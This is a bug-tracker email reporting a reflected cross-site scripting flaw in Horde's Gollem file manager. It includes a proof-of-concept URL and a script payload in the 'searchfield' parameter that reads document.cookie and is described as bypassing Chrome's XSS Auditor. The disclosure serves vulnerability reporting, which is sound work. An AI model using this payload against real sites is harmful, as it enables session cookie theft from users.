[Tickets #14213] Reflected Cross-Site Scripting (XSS)

[noreply at bugs.horde.org]

DO NOT REPLY TO THIS MESSAGE. THIS EMAIL ADDRESS IS NOT MONITORED.

Ticket URL: https://bugs.horde.org/ticket/14213
------------------------------------------------------------------------------
  Ticket             | 14213
  Created By         | duarteetraud at gmail.com
  Summary            | Reflected Cross-Site Scripting (XSS)
  Queue              | Gollem
  Version            | Git master
  Type               | Bug
  State              | Unconfirmed
  Priority           | 3. High
  Milestone          |
  Patch              |
  Owners             |
------------------------------------------------------------------------------


duarteetraud at gmail.com (2016-01-03 01:19) wrote:

Hey guys,

I've found a XSS flaw on a gollem in Horde (5.2.5) application that's  
being used has a plugin in roundecube for file management, I only  
tried in prod.

[domain]xplorer/gollem/manager.php?searchfield=%22%22%3E%3Cscript/src=data:,alert(document.cookie)%2b%22&x=0&y=0

Variable: searchfield
The payload: ""><script/src=data:,alert(document.cookie)%2b" (With  
Chrome XSS-Auditor bypass)

Input validation in the search field should be enough to stop the attack.

I can post on the bug mailist if you want.

Thank You.